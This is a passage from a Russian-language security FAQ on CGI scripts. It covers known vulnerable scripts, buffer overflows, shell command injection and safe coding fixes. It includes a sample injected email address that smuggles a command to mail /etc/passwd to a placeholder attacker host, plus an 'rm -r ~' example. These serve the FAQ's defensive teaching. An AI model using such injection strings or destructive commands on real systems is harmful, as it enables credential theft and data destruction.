Интернет технологии -> CGI -> Проблемы безопасности CGI скриптов

В31: В чем проблемы со скриптами CGI?

Проблема в том, что любой из них может содержать ошибку, которую можно использовать. Скрипты CGI должны быть написаны с той же осторожностью и вниманием, что и программы самого сервера, поскольку на самом деле они и есть маленькие серверы. К сожалению, для многих авторов программ в Web скрипты CGI являются первым опытом программирования в сетях.

Скрипты CGI могут открывать лазейки двумя путями:

1. Они могут, случайно или преднамеренно, предоставлять информацию о системе, которая может быть использована хакером.
2. Скрипты, которые обрабатывают данные, вводимые удаленным пользователем через формы ввода, могут подвергаться атакам, при которых пользователь заставляет их выполнять произвольные команды.

Скрипты CGI являются потенциальными лазейками даже в том случае, если вы запускаете сервер с правами пользователя "nobody". Взломаный скрипт, работая с правами nobody, тем не менее пользуется правами, достаточными для отсылки по электронной почте файла паролей, получения карт локальной сети или инициирования входа в систему через порт с большим номером (для выполнения этого необходимо всего лишь выполнить несколько команд на языке Perl). Даже если ваш сервер запущен в среде chroot, ошибочный скрипт может выдать информацию, достаточную для взлома системы.

В32: Что безопаснее - хранить скрипты в директории cgi-bin, или хранить их где-нибудь в директориях документов, присваивая им расширение .cgi?

Хотя особой опасности в хранении скриптов вместе с документами нет, но лучше хранить их в отдельном директории. Гораздо легче контролировать доступ к скриптам CGI, могущим представлять собой лазейки в безопасности, тогда, когда они хранятся отдельно, чем если они разбросаны по разным директориям. Особенно актуально это в ситуации, когда на сервере работает много авторов документов Web. Автор очень легко может написать скрипт, содержащий случайную ошибку, и поместить его среди документов. Ограничивая область размещения скриптов директорием cgi-bin с правами доступа, разрешающими установку новых скриптов только системному администратору, вы избегаете хаоса на сервере.

Существует также опасность того, что хакер сможет разместить файл с расширением .cgi в директории документов, а затем запустить его на исполнение, обратившись с запросом к серверу. Использование директория cgi-bin с правильно установленными правами доступа уменьшает вероятность такого события.

В33: Являются ли компилируемые языки, такие как C, более безопасными, чем интерпетируемые, подобные Perl или языкам оболочек операционных систем?

Да, но с множеством оговорок.

Прежде всего, важен вопрос о возможности для удаленного пользователя получить исходный текст программы. Чем больше хакер знает о том, как работает скрипт, тем легче ему найти и использовать ошибки в нем. При использовании компилируемых языков вы можете создать двоичный выполняемый файл, поместить его на сервер и не беспокоиться о том, что хакер может получить доступ к исходному тексту программы. Напртив, в случае интерпретируемых языков исходный текст всегда потенциально доступен. Хотя правильно настроенный сервер не должен передавать текст скрипта, существуют различные пути обхода этого ограничения.

Рассмотрим следующий сценарий. Из соображений удобства, вы настроили сервер на распознавание скриптов CGI по расширению имени файла .cgi. Затем вам понадобилось отредактировать интерпретируемый скрипт CGI. Вы открываете его с помощью текстового редактора Emacs и изменяете нужным образом. Увы, редактор оставляет резервную копию файла с исходным текстом программы в дереве документов. И хотя удаленный пользователь не может получить исходный текст при обращении к самому скрипту, он имеет возможность получить резервную копию файла попросту выбрав адрес URL:

        http://ваш-узел/путь/к/ваш_скрипт.cgi~

(это еще одна причина, по которой безопаснее ограничить область хранения скриптов отдельным директорием и ограничить доступ к нему.)

Конечно, во многих случаях исходные тексты скриптов на C свободно распространяются по Сети, и у хакеров не возникнет проблем с доступом к ним.

Еще одна причина большей безопасности компилируемых программ - вопросы размера и сложности. Большие программы, такие как интерпретаторы языков программирования и оболочки ОС, скорее всего содержат ошибки. Эти ошибки могут открывать лазейки в безопасности. Они существуют, просто мы о них не знаем.

Третий фактор - возможность использовать языки, на которых пишут скрипты, для передачи данных системным командам и получение результатов их выполнения. Как будет описано далее, выполнение системных команд при работе скрипта - один из основных источников лазеек в безопасности. В C выполнить системную команду сложнее, и менее вероятно, что программист будет использоватьб эту возможность. Наоборот, написать скрипт любой степени сложности на языке оболочки операционной системы, полностью избегая использования опасных инструкций, очень сложно. Языки оболочек ОС - плохой выбор при разработке хоть сколько-нибудь сложных скриптов CGI.

Прочтя все это, пожалуйста поймите, что нет гарантии того, что программа на C будет безопасной. Программы на C могут содержать множество опасных ошибок, как показывает пример программ NCSA httpd 1.3 и sendmail. В свою очередь, программы на интерпретируемых языках как правило имеют меньший объем текста и легче могут быть поняты лицами, не участвовавшими в разработке, с целью контроля. Далее, язык Perl содержит ряд встроенных функций, предназначенных для перехвата возможных лазеек в безопасности. Например, "проверки на чистоту" (taint checks, см. далее) перехватывают многие обычные недостатки в текстах программ и делают скрипты Perl в некотором отношении более безопасными, чем аналогичные программы на C.

В34: Я нашел в Сети замечательный скрипт и хочу установить его у себя. Как мне убедиться в его безопасности?

Вы никогда не можете быть уверены, что скрипт безопасен. Лучшее, что вы можете сделать - внимательно изучить скрипт и понять, что и как он делает. Если вы не владеете языком, на котором написан скрипт, обратитесь к кому-нибуть, кто знает этот язык.

Вот вопросы, которые следует учитывать при изучении скрипта:

1. Насколько он сложен? Чем скрипт больше, тем вероятнее, что с ним могут возникнуть проблемы.
2. Выполняет ли он чтение или запись файлов на сервере? Программы, выполняющие чтение файлов, могут случайно нарушить ограничения доступа, установленные вами, или передать хакерам важную информацию о системе. Программы, пишущие в файлы, могут случайно повредить файлы документов, или, в худшем случае, запускать "троянских коней" в вашу систему.
3. Взаимодействует ли он с другими программами в вашей системе? Например, многие скрипты CGI посылают сообщения по электронной почте в ответ на запросы, введенные через формы ввода, и используют для этого программу sendmail. Безопасно ли выполняются такие действия?
4. Выполняется ли он с правами suid (set-user-id, установленный идентификатор пользователя)? В общем случае это очень опасно, и скрипт должен иметь веские основания для использования suid.
5. Использовал ли автор скрипта проверку данных, вводимых пользователем через формы ввода? Проверка вводимых данных служит показателем того, что автор скрипта заботился о его безопасности.
6. Указывал ли автор полный путь доступа к внешним программам, используемым в скрипте? Доверять переменным окружения PATH для нахождения файлов по неполному пути доступа является небезопасной практикой.

В35: Какие скрипты CGI содержат известные лазейки в безопасности?

Заметное число свободно распространяемых скриптов CGI содержат известные лазейки в безопасности. Многие из тех лазеек, которые здесь указаны, были закрыты, но если вы используете старую версию, не имеющую исправления, то вы можете подвергаться опасности. В таком случае - обновите вашу версию. Если для скрипта нет исправлений, то лучше от него избавиться.

TextCounter от Matt Wright, версии 1.0-1.2 (Perl) и 1.0-1.3 (C++) (июнь 1998)

Ранние версии программы TextCounter, используемой для размещения счетчиков обращений на страницах, не удаляет метасимволы оболочки из содержимого запросов пользователя. Как результат, удаленный пользователь может запускать системные команды на сервере. Лазейка есть как в Perl, так и в C++ версиях скрипта. Обновите скрипт до версии 1.21 (Perl) или 1.31 (C++):

• (Perl) http://www.worldwidemart.com/scripts/textcounter.shtml
• (C++) http://www.worldwidemart.com/scripts/C++/textcounter.shtml

Различные гостевые книги (июнь 1998)

Продолжают появляться сообщения о взломах различных скриптов гостевых книг. Впервые лазейка была найдена в Selena Sol guestbook, но обнаруживается и в других скриптах. Лазейки используют сохранение элементов в текстах, вводимых пользователем, и то, что многие программы сохраняют файлы в директриях, в которых разрешены вставки на сервере. Скрипт гостевой книги должен удалять HTML и пользовательских текстов, или заменять угловые скобки на > and <. Файлы, которые пишет скрипт, не должны находиться в директории, в котором разрешены вставки на сервере, active server pages, страницы PHP или другие системы темплат HTML. Подробное описание проблемы смотрите в архиве Selena Sol: http://www.eff.org/~erict/Scripts/guestbook.html

Excite Web Search Engine (EWS), версии 1.0-1.1 (January 1998)

Excite Web Search engine не проверяет содержимое текстовых строк, вводимых пользователем, перед передачей их для интерпритации оболочке операционной системы, что позволяет удаленным пользователям выполнять команды на сервере. Команды будут выполняться с правами доступа сервера Web. Ошибка затрагивает версии для Unix и для NT. См. http://www.excite.com/navigate/patches.html для получения исправлений. Имейте в виду, что ошибка затрагивает ваш сервер только в том случае, когда скрипт установлен локально. Она не затрагивает узлы, содержащие ссылки на страницы поиска Excite.com и страницы, проиндексированные роботом Excite.

info2www, версии 1.0-1.1

info2www, конвертирующий файлы формата GNU info в документы Web, не выполняет проверки имен файлов, предоставленных пользователем, перед их открытием. В результате, этот скрипт может быть использован для доступа к системным файлам или выполнения системных команд, содержащих метасимволы коммандного процессора. Версия 1.2 и более поздние, как сообщается, не содержат этой ошибки, но, поскольку существует множество версий этого скрипта, лучше всего проверить исходный текст программы перед ее установкой. То же относится к скриптам info2html и infogate, которые являются производными от info2www.

Count.cgi, версии 1.0-2.3

Count.cgi, широко используемый для подсчета числа обращений к странице, содержит ошибку, приводящую к переполнению стека. Это дает возможность злоумышленнику выполнять произвольные команды на сервере, для чего необходимо послать для обработки специально подобранную строку запроса. Ошибка исправлена в версии 2.4. Эту версию можно найти здесь: http://www.fccc.edu/users/muquit/Count.html.

webdist.cgi, часть IRIX Mindshare Out Box версии 1.0-1.2

Этот скрипт является частью системы, позволяющей пользователю получать и распространять программное обеспечение по сети. Из-за неправильной проверки параметров, передаваемых скрипту, удаленный пользователь имеет возможность выполнения на сервере системных команд с правами доступа демона сервера.

По состоянию на 12 июня 1997 года, эта ошибка не была исправлена . Обращайтесь в Mindshare за справками. До того, как ваша копия webdist.cgi будет исправлена, выключите ее, сняв с нее права доступа на выполнение.

php.cgi, многие версии

Скрипт php.cgi, реализующий язык программирования, включаемый в HTML, дающий массу замечательных возможностей, никогда не должен устанавливаться в директории скриптов (cgi-bin). Это позволяет кому угодно выполнять команды оболочки ОС на машине, на которой установлен сервер WWW. Кроме того, версии до 2.0b11 содержат известные лазейки в безопасности. Убедитесь в том, что вы используете самую последнюю версию, и периодически проверяйте узел PHP (см. адрес ниже) на предмет других новостей в части безопасности. Утверждается, что версия PHP - модуль для сервера Apache не содержит этой лазейки, поскольку не выполняется как скрипт CGI. Тем не менее, имеет смысл поддерживать вашу систему в соответствии последней версии.

http://php.iquest.net/

files.pl, часть Novell WebServer Examples Toolkit v.2

По причине отсутствия проверки вводимых данных, скрипт files.pl, распространяемый с Novell WebServer, позволяет пользователю просматривать любой файл или директорий на вашей машине, предоставляя тем самым доступ к конфиденциальным документам и возможность для хакеров получать информацию, необходимую для проникновения на вашу машину. Уберите этот скрипт, а также все другие (примеры и пр.) скрипты, которые вы не используете.

Microsoft FrontPage Extensions, версии 1.0-1.1

При определенных условиях пользователь может повреждать файлы, к которым у него нет прав доступа, переписывая или добавляя их содержимое. На серверах, использующих вставки на сервере (server-side includes), удаленный пользователь может использовать эту ошибку для выполнения системных команд на машине.

http://www.microsoft.com/frontpage/documents/bugQA.htm

Скрипт Guestbook от Selena Sol, все версии

Это не столько лазейка, сколько ее возможность. Если на вашем сервере разрешено использование вставок на сервере в guestbook, и если этот скрипт позволяет вводить элементы HTML в поля текстового ввода, то удаленный пользователь может иметь возможность выполнения произвольных команд на вашем сервере. Полное объяснение и исправления можно найти по адресу: http://www.eff.org/~erict/Scripts/guestbook.html

nph-test-cgi, все версии

Этот скрипт, включенный во многие версии серверов NCSA и Apache, может быть использован для получения списка содержимого любого директория на сервере. Он должен быть уничтожен или выключен путем запрета выполнения.

nph-publish, версии 1.0-1.1

При определенных условиях пользователь может повреждать общедоступные для записи файлы на сервере.

http://www.genome.wi.mit.edu/~lstein/server_publish/nph-publish.txt

AnyForm, версия 1.0

Пользователь может выполнять системные команды на сервере.

http://www.uky.edu/~johnr/AnyForm2

FormMail, версия 1.0

Пользователь может выполнять системные команды на сервере.

http://alpha.pr1.k12.co.us/~mattw/scripts.html

скрипт "phf", телефонная книга, распространяемый с серверами NCSA httpd и Apache, все версии

Пользователь может выполнять системные команды на сервере.

http://hoohoo.ncsa.uiuc.edu/

К стыду, один из ошибочных скриптов, nph-publish, был написан автором этого документа. Скрипт предназначен для публикации на сервере Apache документов, редактируемых при помощи "публикующего" редактора, такого, например, как Netscape Navigator Gold. автор не проверял необходимым образом пути доступа к файлам, вводимые пользователем, потенциально давая возможность сохранять файлы там, где не положено. Это может создать серьезные проблемы в случае, если сервер запущен с большими привилегиями. Если вы используете этот скрипт, то обновите версию на 1.2 или более позднюю. Ошибка была обнаружена Randal Schwartz (merlyn@stonehenge.com).

Ошибки во второй паре скриптов в списке были обнаружены Paul Phillips (paulp@cerf.net), автором CGI security FAQ. Лазейка в PHF (телефонная книга) найдена Jennifer Myers (jmyers@marigold.eecs.nwu.edu), она представляет собой потенциальную лазейку, содержащуюся во всех скриптах CGI, использующих библиотеку NCSA util.c. Здесь можно найти информацию о том, как исправить лазейку в util.c.

периодически здесь будет добавляться информация о других скриптах, содержащих ошибки.

Добавим, что один из скриптов, приведенных как пример "хорошего программирования CGI" в книге "Build a Web Site" (Построение узла Web, net.Genesis и Devra Hall), содержит классическую ошибку, заключающуюся в передаче непроверенной пользовательской переменной оболочке операционной системы. Скрипт приведен в разделе 11.4, "Простой скрипт для поиска с использованием grep", страница 443. Другие скрипты в этой книге также могут содержать ошибки.

Этот список далек от полноты. Никакая организация не занимается отслеживанием распространяемых скриптов. CERT выпускает сообщения о скриптах с ошибками, когда узнает о них, и имеет смысл подписаться на их список рассылки, или иногда просматривать свежие архивы (смотри Библиография).

Безусловно, на вашей совести лежит проверка безопасности каждого используемого вами скрипта.

В36: Я разрабатываю собственные скрипты CGI. Чего мне следует избегать?

1. Избегайте предоставления излишней информации о вашем узле и сервере.

   Не смотря на возможность достижения красивых эффектов, следует избегать использования скриптов, предоставляющих информацию о вашей системе. Например, команда finger часто выводит путь к домашнему директорию пользователя, и скрипт, использующий эту команду, выдает эту информацию (на самом деле вам следует полностью выключить finger, предпочтительно даже стереть этого демона). Команда w дает информацию о ресурсах, используемых локальными пользователями. Команда ps, со всеми ее формами, дает потенциальному взломщику полезные сведения о том, какие демоны активны в вашей системе.

2. Если вы пишите на компилируемом языке, таком как C, то избегайте делать предположения об объемах данных, вводимых пользователем.

   ОСНОВНОЙ источник лазеек в безопасности - переполнение буферов при чтении данных, вводимых пользователем. Вот простая иллюстрация проблемы:

   
      #include <stdlib.h>
   
   
      #include <stdio.h>
   
   
   
      static char query_string[1024];
   
   
   
      char* read_POST() {
   
   
   
   
         int query_size;
   
         query_size=atoi(getenv("CONTENT_LENGTH"));
   
         fread(query_string,query_size,1,stdin);
   
         return query_string;
   
   
   
      }
   
   

   Проблема здесь в том, что автор предполагает, что объем вводимых данных, полученных методом POST, никогда не превысит размера статического буфера, 1024 байта. Это плохо. Злой хакер может нарушить работу программы, введя гораздо больший объем данных. В некоторых ситуациях при переполнении буфера и сбое программы хакер может иметь возможность выполнения произвольных команд на сервере.

   Приведем простой пример функции read_POST(), обходящей эту проблему путем динамического резервирования памяти. Если памяти недостаточно, то функция возвращает значение NULL.

   
      char* read_POST() {
   
   
   
   
         int query_size=atoi(getenv("CONTENT_LENGTH"));
   
         char* query_string = (char*) malloc(query_size);
   
         if (query_string != NULL)
   
            fread(query_string,query_size,1,stdin);
   
         return query_string;
   
      }
   
   

   Конечно, после чтения данных, вы должны продолжать следить за тем, чтобы буфер не переполнился. Контролируйте такие функции, как strcpy(), strcat() и другие функции для работы со строками, которые производят копирование до тех пор, пока не достигнут конца строки. Используйте вместо них функции strncpy() и strncat().

   
      #define MAXSTRINGLENGTH 255
   
      char myString[MAXSTRINGLENGTH + sizeof('\0')];
   
      char* query = read_POST();
   
      assert(query != NULL);
   
      strncpy(myString,query,MAXSTRINGLENGTH);
   
      myString[MAXSTRINGLENGTH]='\0';      /* Обеспечить 0 в конце строки */
   
   

   (Заметте, что дейсвия strncpy могут быть опасны в ситуации, когда строка имеет длину MAXSTRINGLENGTH, что ведет к необходимости явно обрезать строку, вставляя символ '\0'.)

3. Никогда, никогда, никогда не передавайте непроверенное содержимое пользовательского ввода командам оболочки операционной системы.

   В языке C это директивы popen() и system(), которые вызывают /bin/sh для обработки команды. В языке Perl сюда относятся функции system(), exec() и перенаправленная (piped) open(), а также функция eval(), запускающая сам интерпретатор Perl. В различных оболочках сюда попадают команды exec и eval.

   Обратные кавычки, дающие возможность перехвата вывода программ в виде текстовых строк в интерпретаторах оболочек ОС и языке Perl, также небезопасны.

   Проиллюстрируем необходимость некоторой паранои в этих вопросах на примере с первого взгляда безопасного фрагмента кода на языке Perl, который должен посылать электронную почту по адресу, указанному в форме ввода.

   
      $mail_to = &get_name_from_input; # получить адрес из формы ввода
   
      open (MAIL,"| /usr/lib/sendmail $mail_to");
   
      print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
   
      close MAIL;
   
   

   Проблема состоит в вызове open(). Автор подразумевал, что содержимое переменной $mail_to всегда будет представлять корректный адрес e-mail. Но что произойдкт, если хакер введет адрес, выглядящий следующим образом?

   
        nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
   
   

   Теперь инструкция open() выполнит следующую команду:

   
   /usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwd
   
   

   Увы, open() послала содержимое системного файла паролей удаленному пользователю, открыв тем самым возможность для взлома паролей.

В37: Но если я не должен использовать eval(), exec(), popen() и system(), то как мне обеспечить доступ к моей базе данных/поисковой системе/графическому пакету?

Вам не нужно совсем не использовать этих функций. Просто вы должны понимать, что вы делаете, перед тем, как их использовать. В некоторых случаях вы можете избежать передачи пользовательских переменных оболочке ОС, вызывая внешние программы иным образом. Например, sendmail имеет флаг -t, который заставляет ее игнорировать адрес, имеющийся в командной строке, и использовать адрес, имеющийся в заголовке файла письма. Приведенный выше пример может быть изменен с целью использования этой возможности следующим образом (здесь также использован флаг -oi для избежания преждевременного окончания передачи если sendmail обнаружит точку в начале строки):

   $mailto = &get_name_from_input; # получить адрес из формы ввода

   open (MAIL,"| /usr/lib/sendmail -t -oi");

   print MAIL <<END;

   To: $mailto

   From: me (me\@nowhere.com)

   Subject: ничего особенного



   Привет!

   END

   close MAIL;

Программисты, пишущие на C, могут использовать семейство функций exec для передачи параметров запускаемым программам напрямую, а не через оболочку ОС. Того же можно достичь и в Perl, используя приведенную ниже технику.

Вы должны искать пути, позволяющие избежать запуска оболочки ОС (shell). В тех редких случаях, когда у вас нет другого выбора, вы должны всегда проверять содержимое ввода на присутствие метасимволов языка оболочки и удалять их. Список таких символов достаточно обширен:

         &;`'\"|*?~<>^()[]{}$\n\r

Обратите внимание на то, что сюда входят символы перевода строки и возврата каретки (LF и CR) - те, что кто-то из NCSA забыл, когда он (или она) писал широко распространяемую библиотеку util.c как пример программирования CGI на C.

Еще лучше убедиться, что параметры, предоставляемые пользователем, точно соответствуют тому, что должно быть, а не просто удалять метасимволы из переменной в надежде, что вы не получите неожиданных побочных эффектов. Даже если вы передаете пользовательские переменные в вызываемую вами программу напрямую, а не через оболочку ОС, они все равно могут содержать конструкции, открывающие лазейки в вызываемой программе.

Вот пример того, как можно убедиться, что адрес, предоставленный пользователем и содержащийся в переменной $mail_to, действительно выглядит как адрес электронной почты:

  $mail_to = &get_name_from_input; # получить адрес из формы ввода

  unless ($mail_to =~ /^[\w-.]+\@[\w-.]+$/) {

     die 'Адрес не соответствует форме foo@nowhere.com';

  }

(Для некоторых узлов приведенные ограничения могут быть слишком жесткими. Они не допускают адресов в формате UUCP или любой другой из многих альтернативных схем построения адресов e-mail).

В38: Безопасно ли пользоваться переменной окружения PATH для нахождения внешних программ?

На самом деле - нет. Один из любимых хакерских методов состоит в том, чтобы изменить содержимое переменной PATH таким образом, чтобы она указывала на ту программу, которую хочет запустить хакер, а не на ту, которую вы имеете в виду. Кроме проверки параметров, передаваемых внешним программам, вы должны использовать полные пути доступа к ним, а не доверять переменной PATH. То есть, вместо такого фрагмента кода на C:

   system("ls -l /local/web/foo");

используйте такой:

   system("/bin/ls -l /local/web/foo");

Если вам необходимо использовать переменную PATH, то установите ее значение явным образом в начале скрипта CGI:

   putenv("PATH=/bin:/usr/bin:/usr/local/bin");

Во всех случаях, не следует включать в состав переменной PATH текущий директорий (".").

В39: Я слышал, что существует пакет cgiwrap, который делает скрипты CGI более безопасными?

Это не совсем так. cgiwrap (автор - Nathan Neulinger <nneul@umr.edu>, http://www.umr.edu/~cgiwrap) разработан для многопользовательских узлов, таких как университетские серверы, где пользователям разрешается создавать свои собственные скрипты CGI. Поскольку скрипты выполняются с правами того же пользователя, правами которого пользуется сервер (т.е. "nobody"), то администратору в такой ситуации трудно определить, чей именно скрипт вызывает ошибочно посланные письма, ошибки в файлах трассировки или идиотские сообщения на дисплеях других пользователей. Кроме того, возникают проблемы с защитой: при выполнении с теми же правами, скрипт одного пользователя может, например, случайно (или преднамеренно) разрушить базу данных, поддерживаемую скриптом другого пользователя.

cgiwrap позволяет вам так организовать скрипты, что они теперь выполняются под идентификатором того пользователя, которому принадлежат. Эта политика может быть усилена таким образом, что пользователь должен использовать cgiwrap для того, чтобы скрипт смог быть выполнен. Хотя это упрощает администрирование и предотвращает помехи пользователям сос стороны других пользователей, это привносит риск для пользователя. Поскольку скрипты выполняются теперь с правами владельца, взломанный скрипт может полностью очистить домашний директорий пользователя, выполнив команду

    rm -r ~

Хуже того, поскольку взломанный скрипт обладает правами записи в домашний директорий пользователя, он может поместить туда троянского коня, подвергая тем самым риску всю ситему. Пользователь nobody, по крайней мере, как правило не имеет прав записи нигде в системе.

sbox